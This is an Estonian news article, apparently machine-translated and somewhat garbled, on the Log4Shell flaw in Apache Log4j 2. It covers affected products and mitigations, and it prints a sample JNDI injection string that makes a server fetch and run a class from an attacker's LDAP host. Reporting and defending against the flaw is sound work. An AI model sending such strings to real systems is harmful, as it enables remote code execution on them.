Log4Shell, Apache Log4j 2 kriitiline haavatavus, mis mõjutab paljusid Java-projekte

Hiljuti se avaldas uudise, et Apache Log4j 2-s tuvastati kriitiline haavatavus, mida iseloomustatakse kui populaarset raamistikku Java rakendustes registri korraldamiseks, mis võimaldab käivitada suvalise koodi, kui registrisse kirjutatakse spetsiaalselt vormindatud väärtus vormingus "{jndi: URL}".

Haavatavus See on tähelepanuväärne, kuna rünnakut saab läbi viia Java-rakendustes, misNad salvestavad välistest allikatest saadud väärtused, näiteks kuvades probleemseid väärtusi veateadetes.

Täheldatakse, et mõjutatud on peaaegu kõik projektid, mis kasutavad selliseid raamistikke nagu Apache Struts, Apache Solr, Apache Druid või Apache Flink, sealhulgas Steam, Apple iCloud, Minecrafti kliendid ja serverid.

Eeldatakse, et haavatavus toob kaasa ulatuslike rünnakute laine ettevõtte rakenduste vastu, mis kordab raamistiku Apache Strutsi kriitiliste turvaaukude ajalugu, mis on ligikaudne hinnang, mida kasutatakse 65% Fortune 100 veebirakendustest. Ettevõtte veebirakenduste loend sisaldas juba salvestatud katseid skannida võrku haavatavate süsteemide leidmiseks.

See haavatavus võimaldab autentimata koodi kaugkäivitamist. Log4j 2 on avatud lähtekoodiga Java logiteek, mille on välja töötanud Apache Foundation. Log4j 2 kasutatakse laialdaselt paljudes rakendustes ja see on sõltuvusena paljudes teenustes olemas. Nende hulka kuuluvad nii ärirakendused kui ka arvukad pilveteenused.

Randori ründemeeskond on välja töötanud funktsionaalse ärakasutamise ja on suutnud seda haavatavust kliendikeskkondades meie ründava turvaplatvormi osana edukalt ära kasutada. 

Haavatavusele pääseb juurde paljude rakendusespetsiifiliste meetodite kaudu. Tõepoolest, iga stsenaarium, mis võimaldab kaugühendusel edastada suvalisi andmeid, mida Log4j teeki kasutav rakendus logifailidesse kirjutab, on vastuvõtlik ekspluateerimisele. Seda haavatavust kasutatakse suure tõenäosusega looduses ära ja see mõjutab tõenäoliselt tuhandeid organisatsioone. See haavatavus kujutab endast mõjutatud süsteemidele märkimisväärset reaalset ohtu.

Probleemi süvendab asjaolu, et funktsionaalne ärakasutamine on juba avaldatud, nt.Stabiilsete harude parandusi pole aga veel loodud. CVE identifikaatorit pole veel määratud. Lahendus sisaldub ainult log4j-2.15.0-rc1 testharus. Haavatavuse blokeerimise lahendusena on soovitatav määrata parameetri Log4j2.formatMsgNoLookups väärtuseks Tõene.

probleem see oli tingitud asjaolust, et Log4j 2 toetab spetsiaalsete maskide «{}» käsitlemist logiridades, milles JNDI päringuid saab käivitada (Java nimede andmine ja kataloogiliides).

CVE-2021-44228 analüüsimisel tegi Randori kindlaks järgmise:

Laialdaselt kasutatava äritarkvara vaikeinstallid on haavatavad.
Turvaauku saab usaldusväärselt ja ilma autentimiseta ära kasutada.
See haavatavus mõjutab mitut Log4j 2 versiooni.
Haavatavus võimaldab koodi kaugkäivitamist, kui kasutaja käivitab rakendust teeki kasutades.

Rünnak taandub stringi edastamisele asendusega "$ {jndi: ldap: //example.com/a}", mille töötlemisel Log4j 2 saadab LDAP-päringu Java klassi tee kohta serverisse attacker.com. . Ründaja serveri poolt tagastatud tee (nt http://example.com/Exploit.class) laaditakse ja käivitatakse praeguse protsessi kontekstis, võimaldades ründajal saavutada süsteemis suvalise koodikäivituse õigustega praegusest rakendusest.

Lõpuks mainitakse seda kui avastatakse kõrvalekaldeid, on soovitatav eeldada, et see on aktiivne juhtum, et see on ohustatud, ja reageerida vastavalt. Log4j 2 või mõjutatud rakenduste paigatud versioonidele täiendamine kõrvaldab selle haavatavuse. Randori soovitab kõigil organisatsioonidel, kes usuvad, et see võib olla mõjutatud, kiiresti uuendada paigatud versioonile.

Apache Log4j meeskonna uusimas värskenduses soovitame organisatsioonidel teha järgmist

  • Värskenda versioonile Log4j 2.15.0
  • Neile, kes ei saa versioonile 2.15.0 üle minna: Versioonides> = 2.10 saab seda haavatavust leevendada, määrates süsteemiatribuudi log4j2.formatMsgNoLookup või keskkonnamuutuja LOG4J_FORMAT_MSG_NO_LOOKUPS väärtusele true.
  • Versioonide 2,0-beta9 kuni 2.10.0 puhul on leevenduseks JndiLookupi klassi eemaldamine klassiteelt: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

allikas: https://www.lunasec.io/


Jäta oma kommentaar

Sinu e-postiaadressi ei avaldata. Kohustuslikud väljad on tähistatud *

*

*

  1. Andmete eest vastutab: Miguel Ángel Gatón
  2. Andmete eesmärk: Rämpsposti kontrollimine, kommentaaride haldamine.
  3. Seadustamine: teie nõusolek
  4. Andmete edastamine: andmeid ei edastata kolmandatele isikutele, välja arvatud juriidilise kohustuse alusel.
  5. Andmete salvestamine: andmebaas, mida haldab Occentus Networks (EL)
  6. Õigused: igal ajal saate oma teavet piirata, taastada ja kustutada.